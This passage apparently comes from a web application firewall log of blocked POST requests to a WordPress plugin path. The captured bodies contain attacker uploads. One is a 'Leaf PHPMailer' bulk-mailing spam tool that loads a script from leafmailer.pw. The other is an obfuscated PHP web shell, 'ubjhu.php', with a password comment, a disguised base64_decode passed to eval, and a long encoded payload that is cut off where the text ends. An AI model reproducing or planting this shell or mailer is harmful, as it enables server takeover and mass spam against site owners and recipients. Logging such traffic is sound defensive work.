  => 'text\/richtext',\n            'rtf'   => 'text\/rtf',\n            'vcf'   => 'text\/vcard',\n            'vcard' => 'text\/vcard',\n            'xml'   => 'text\/xml',\n            'xsl'   => 'text\/xml',\n            'mpeg'  => 'video\/mpeg',\n            'mpe'   => 'video\/mpeg',\n            'mpg'   => 'video\/mpeg',\n            'mov'   => 'video\/quicktime',\n            'qt'    => 'video\/quicktime',\n            'rv'    => 'video\/vnd.rn-realvideo',\n            'avi'   => 'video\/x-msvideo',\n            'movie' => 'video\/x-sgi-movie'\n        );\n        if (array_key_exists(strtolower($ext), $mimes)) {\n            return $mimes[strtolower($ext)];\n        }\n        return 'application\/octet-stream';\n    }\n\n    \/**\n     * Map a file name to a MIME type.\n     * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n     * @param string $filename A file name or full path, does not need to exist as a file\n     * @return string\n     * @static\n     *\/\n    public static function filenameToType($filename)\n    {\n        \/\/ In case the path is a URL, strip any query string before getting extension\n        $qpos = strpos($filename, '?');\n        if (false !== $qpos) {\n            $filename = substr($filename, 0, $qpos);\n        }\n        $pathinfo = self::mb_pathinfo($filename);\n        return self::_mime_types($pathinfo['extension']);\n    }\n\n    \/**\n     * Multi-byte-safe pathinfo replacement.\n     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n     * Works similarly to the one in PHP >= 5.2.0\n     * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n     * @param string $path A filename or path, does not need to exist as a file\n     * @param integer|string $options Either a PATHINFO_* constant,\n     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n     * @return string|array\n     * @static\n     *\/\n    public static function mb_pathinfo($path, $options = null)\n    {\n        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n        $pathinfo = array();\n        if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n            if (array_key_exists(1, $pathinfo)) {\n                $ret['dirname'] = $pathinfo[1];\n            }\n            if (array_key_exists(2, $pathinfo)) {\n                $ret['basename'] = $pathinfo[2];\n            }\n            if (array_key_exists(5, $pathinfo)) {\n                $ret['extension'] = $pathinfo[5];\n            }\n            if (array_key_exists(3, $pathinfo)) {\n                $ret['filename'] = $pathinfo[3];\n            }\n        }\n        switch ($options) {\n            case PATHINFO_DIRNAME:\n            case 'dirname':\n                return $ret['dirname'];\n            case PATHINFO_BASENAME:\n            case 'basename':\n                return $ret['basename'];\n            case PATHINFO_EXTENSION:\n            case 'extension':\n                return $ret['extension'];\n            case PATHINFO_FILENAME:\n            case 'filename':\n                return $ret['filename'];\n            default:\n                return $ret;\n        }\n    }\n\n    \/**\n     * Set or reset instance properties.\n     * You should avoid this function - it's more verbose, less efficient, more error-prone and\n     * harder to debug than setting properties directly.\n     * Usage Example:\n     * `$mail->set('SMTPSecure', 'tls');`\n     *   is the same as:\n     * `$mail->SMTPSecure = 'tls';`\n     * @access public\n     * @param string $name The property name to set\n     * @param mixed $value The value to set the property to\n     * @return boolean\n     * @TODO Should this not be using the __set() magic function?\n     *\/\n    public function set($name, $value = '')\n    {\n        if (property_exists($this, $name)) {\n            $this->$name = $value;\n            return true;\n        } else {\n            $this->setError($this->lang('variable_set') . $name);\n            return false;\n        }\n    }\n\n    \/**\n     * Strip newlines to prevent header injection.\n     * @access public\n     * @param string $str\n     * @return string\n     *\/\n    public function secureHeader($str)\n    {\n        return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n    }\n\n    \/**\n     * Normalize line breaks in a string.\n     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n     * @param string $text\n     * @param string $breaktype What kind of line break to use, defaults to CRLF\n     * @return string\n     * @access public\n     * @static\n     *\/\n    public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n    {\n        return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n    }\n\n    \/**\n     * Set the public and private key files and password for S\/MIME signing.\n     * @access public\n     * @param string $cert_filename\n     * @param string $key_filename\n     * @param string $key_pass Password for private key\n     * @param string $extracerts_filename Optional path to chain certificate\n     *\/\n    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n    {\n        $this->sign_cert_file = $cert_filename;\n        $this->sign_key_file = $key_filename;\n        $this->sign_key_pass = $key_pass;\n        $this->sign_extracerts_file = $extracerts_filename;\n    }\n\n    \/**\n     * Quoted-Printable-encode a DKIM header.\n     * @access public\n     * @param string $txt\n     * @return string\n     *\/\n    public function DKIM_QP($txt)\n    {\n        $line = '';\n        for ($i = 0; $i < strlen($txt); $i++) {\n            $ord = ord($txt[$i]);\n            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n                $line .= $txt[$i];\n            } else {\n                $line .= '=' . sprintf('%02X', $ord);\n            }\n        }\n        return $line;\n    }\n\n    \/**\n     * Generate a DKIM signature.\n     * @access public\n     * @param string $signHeader\n     * @throws phpmailerException\n     * @return string The DKIM signature value\n     *\/\n    public function DKIM_Sign($signHeader)\n    {\n        if (!defined('PKCS7_TEXT')) {\n            if ($this->exceptions) {\n                throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n            }\n            return '';\n        }\n        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n        if ('' != $this->DKIM_passphrase) {\n            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n        } else {\n            $privKey = openssl_pkey_get_private($privKeyStr);\n        }\n        \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n        \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n                openssl_pkey_free($privKey);\n                return base64_encode($signature);\n            }\n        } else {\n            $pinfo = openssl_pkey_get_details($privKey);\n            $hash = hash('sha256', $signHeader);\n            \/\/'Magic' constant for SHA256 from RFC3447\n            \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n            $t = '3031300d060960864801650304020105000420' . $hash;\n            $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n                openssl_pkey_free($privKey);\n                return base64_encode($signature);\n            }\n        }\n        openssl_pkey_free($privKey);\n        return '';\n    }\n\n    \/**\n     * Generate a DKIM canonicalization header.\n     * @access public\n     * @param string $signHeader Header\n     * @return string\n     *\/\n    public function DKIM_HeaderC($signHeader)\n    {\n        $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n        $lines = explode(\"\\r\\n\", $signHeader);\n        foreach ($lines as $key => $line) {\n            list($heading, $value) = explode(':', $line, 2);\n            $heading = strtolower($heading);\n            $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n            $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n        }\n        $signHeader = implode(\"\\r\\n\", $lines);\n        return $signHeader;\n    }\n\n    \/**\n     * Generate a DKIM canonicalization body.\n     * @access public\n     * @param string $body Message Body\n     * @return string\n     *\/\n    public function DKIM_BodyC($body)\n    {\n        if ($body == '') {\n            return \"\\r\\n\";\n        }\n        \/\/ stabilize line endings\n        $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n        $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n        \/\/ END stabilize line endings\n        while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n            $body = substr($body, 0, strlen($body) - 2);\n        }\n        return $body;\n    }\n\n    \/**\n     * Create the DKIM header and body in a new message header.\n     * @access public\n     * @param string $headers_line Header lines\n     * @param string $subject Subject\n     * @param string $body Body\n     * @return string\n     *\/\n    public function DKIM_Add($headers_line, $subject, $body)\n    {\n        $DKIMsignatureType = 'rsa-sha256'; \/\/ Signature & hash algorithms\n        $DKIMcanonicalization = 'relaxed\/simple'; \/\/ Canonicalization of header\/body\n        $DKIMquery = 'dns\/txt'; \/\/ Query method\n        $DKIMtime = time(); \/\/ Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n        $subject_header = \"Subject: $subject\";\n        $headers = explode($this->LE, $headers_line);\n        $from_header = '';\n        $to_header = '';\n        $date_header = '';\n        $current = '';\n        foreach ($headers as $header) {\n            if (strpos($header, 'From:') === 0) {\n                $from_header = $header;\n                $current = 'from_header';\n            } elseif (strpos($header, 'To:') === 0) {\n                $to_header = $header;\n                $current = 'to_header';\n            } elseif (strpos($header, 'Date:') === 0) {\n                $date_header = $header;\n                $current = 'date_header';\n            } else {\n                if (!empty($$current) && strpos($header, ' =?') === 0) {\n                    $$current .= $header;\n                } else {\n                    $current = '';\n                }\n            }\n        }\n        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));\n        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));\n        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));\n        $subject = str_replace(\n            '|',\n            '=7C',\n            $this->DKIM_QP($subject_header)\n        ); \/\/ Copied header fields (dkim-quoted-printable)\n        $body = $this->DKIM_BodyC($body);\n        $DKIMlen = strlen($body); \/\/ Length of body\n        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); \/\/ Base64 of packed binary SHA-256 hash of body\n        if ('' == $this->DKIM_identity) {\n            $ident = '';\n        } else {\n            $ident = ' i=' . $this->DKIM_identity . ';';\n        }\n        $dkimhdrs = 'DKIM-Signature: v=1; a=' .\n            $DKIMsignatureType . '; q=' .\n            $DKIMquery . '; l=' .\n            $DKIMlen . '; s=' .\n            $this->DKIM_selector .\n            \";\\r\\n\" .\n            \"\\tt=\" . $DKIMtime . '; c=' . $DKIMcanonicalization . \";\\r\\n\" .\n            \"\\th=From:To:Date:Subject;\\r\\n\" .\n            \"\\td=\" . $this->DKIM_domain . ';' . $ident . \"\\r\\n\" .\n            \"\\tz=$from\\r\\n\" .\n            \"\\t|$to\\r\\n\" .\n            \"\\t|$date\\r\\n\" .\n            \"\\t|$subject;\\r\\n\" .\n            \"\\tbh=\" . $DKIMb64 . \";\\r\\n\" .\n            \"\\tb=\";\n        $toSign = $this->DKIM_HeaderC(\n            $from_header . \"\\r\\n\" .\n            $to_header . \"\\r\\n\" .\n            $date_header . \"\\r\\n\" .\n            $subject_header . \"\\r\\n\" .\n            $dkimhdrs\n        );\n        $signed = $this->DKIM_Sign($toSign);\n        return $dkimhdrs . $signed . \"\\r\\n\";\n    }\n\n    \/**\n     * Detect if a string contains a line longer than the maximum line length allowed.\n     * @param string $str\n     * @return boolean\n     * @static\n     *\/\n    public static function hasLineLongerThanMax($str)\n    {\n        \/\/+2 to include CRLF line break for a 1000 total\n        return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n    }\n\n    \/**\n     * Allows for public read access to 'to' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     *\/\n    public function getToAddresses()\n    {\n        return $this->to;\n    }\n\n    \/**\n     * Allows for public read access to 'cc' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     *\/\n    public function getCcAddresses()\n    {\n        return $this->cc;\n    }\n\n    \/**\n     * Allows for public read access to 'bcc' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     *\/\n    public function getBccAddresses()\n    {\n        return $this->bcc;\n    }\n\n    \/**\n     * Allows for public read access to 'ReplyTo' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     *\/\n    public function getReplyToAddresses()\n    {\n        return $this->ReplyTo;\n    }\n\n    \/**\n     * Allows for public read access to 'all_recipients' property.\n     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n     * @access public\n     * @return array\n     *\/\n    public function getAllRecipientAddresses()\n    {\n        return $this->all_recipients;\n    }\n\n    \/**\n     * Perform a callback.\n     * @param boolean $isSent\n     * @param array $to\n     * @param array $cc\n     * @param array $bcc\n     * @param string $subject\n     * @param string $body\n     * @param string $from\n     *\/\n    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n    {\n        if (!empty($this->action_function) && is_callable($this->action_function)) {\n            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n            call_user_func_array($this->action_function, $params);\n        }\n    }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n    \/**\n     * Prettify error message output\n     * @return string\n     *\/\n    public function errorMessage()\n    {\n        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n        return $errorMsg;\n    }\n}\nfunction leafheader(){\nprint '\n<head>\n    <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n    <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n    <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n    <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n        <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n        <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n                    <input type=\"hidden\" name=\"action\" value=\"score\">\n\n            <div class=\"row\">\n                <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control  input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n                <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control  input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n            <\/div>\n            <div class=\"row\">\n                <span class=\"form-group col-lg-6  \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n                <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control  input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n            <\/div>\n            <div class=\"row\">\n                <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control  input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n            <\/div>\n            <div class=\"row\">\n                <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n                <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n            <\/div>\n            <div class=\"row\">\n                <div class=\"form-group col-lg-6 \">\n                    <label for=\"messageType\">Message Type<\/label>\n                    HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n                    Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n                <\/div>\n                <div class=\"form-group col-lg-3 \">\n                    <label for=\"charset\">Character set<\/label>\n                    <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n                        <option '.$utf8.'>UTF-8<\/option>\n                        <option '.$iso.'>ISO-8859-1<\/option>\n                    <\/select>\n                <\/div>\n                <div class=\"form-group col-lg-3 \">\n                    <label for=\"encoding\">Message encoding<\/label>\n                    <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n                        <option '.$bit8.'>8bit<\/option>\n                        <option '.$bit7.'>7bit<\/option>\n                        <option '.$binary.'>binary<\/option>\n                        <option '.$base64.'>base64<\/option>\n                        <option '.$quotedprintable.'>quoted-printable<\/option>\n\n                    <\/select>\n                <\/div>\n            <\/div>\n            <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n   \n        <\/form>\n    <\/div>\n    <div class=\"col-lg-6\"><br>\n        <label for=\"well\">Instruction<\/label>\n        <div id=\"well\" class=\"well well\">\n            <h4>Server Information<\/h4>\n            <ul>\n                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n                <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n                \n\n            <\/ul>\n            <h4>HELP<\/h4>\n            <ul>\n                <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n                <ul>\n                    <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n                    <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n                <\/ul>\n                <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n                \n                <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n                <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n                <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n                <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n            <\/ul>\n            <h4>example<\/h4>\n            Receiver Email = <b>user@domain.com<\/b><br>\n            <ul>\n                <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n                <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n                <li>your code is  <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n            <\/ul>\n\n            <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n        <\/div>\n    <\/div>';  \nif($_POST['action']==\"send\"){\n    print '    <div class=\"col-lg-12\">';\n    $maillist=explode(\"\\r\\n\", $emailList);\n    $n=count($maillist);\n    $x =1;\n    foreach ($maillist as $email ) {\n        print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n        if(!leafMailCheck($email)) {\n            print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n            print \"<br>\\r\\n\";\n        }\n        else {\n            $mail = new PHPMailer;\n            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n            $mail->addReplyTo(leafClear($replyTo,$email));\n            $mail->addAddress($email);\n            $mail->Subject = leafClear($subject,$email);\n            $mail->Body =  leafClear($messageLetter,$email);\n            if($messageType==1){\n                $mail->IsHTML(true);\n                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n            }\n            else $mail->IsHTML(false);\n            $mail->CharSet = $charset;\n            $mail->Encoding = $encoding;\n            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n                if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n                }\n\n            }\n            \n            if (!$mail->send()) {\n                echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n            }\n            else {\n                echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n            }\n            print \"<br>\\r\\n\";\n        }\n        $x++;\n        for($k = 0; $k < 40000; $k++) {echo ' ';}\n    }\n\n}\nelseif($_POST['action']==\"score\"){\n    $mail = new PHPMailer;\n    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n    $mail->addReplyTo(leafClear($replyTo,$email));\n    $mail->addAddress(\"username@domain.com\");\n    $mail->Subject = leafClear($subject,$email);\n    $mail->Body =  leafClear($messageLetter,$email);\n    if($messageType==1){\n        $mail->IsHTML(true);\n        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n    }\n    else $mail->IsHTML(false);\n    $mail->CharSet = $charset;\n    $mail->Encoding = $encoding;\n    $mail->preSend();\n    $messageHeaders=$mail->getSentMIMEMessage();\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n    curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n    $response = curl_exec($ch);\n    $response = json_decode($response);\n    print '    <div class=\"col-lg-12\">';\n    if ($response->success == TRUE ){\n        $score = $response->score;\n        if ($score > 5 ) $class=\"danger\";\n        else $class=\"success\";\n            print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.'  <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint '    <\/div>';\n    }\n}\nprint '<\/body>';\n?>\r\n--91ade92e329318542850b1fb6dbdea13\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--91ade92e329318542850b1fb6dbdea13\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--91ade92e329318542850b1fb6dbdea13\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--91ade92e329318542850b1fb6dbdea13--\r\n"]
["2026-04-14 09:08:23","74.208.137.156","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\ncontent-length:73112\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=8fa4a4cea5dc8de6307b186b1778e10e\npriority:u=0, i\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-site:same-origin\n\n--8fa4a4cea5dc8de6307b186b1778e10e\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--8fa4a4cea5dc8de6307b186b1778e10e\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--8fa4a4cea5dc8de6307b186b1778e10e\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ubjhu.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrb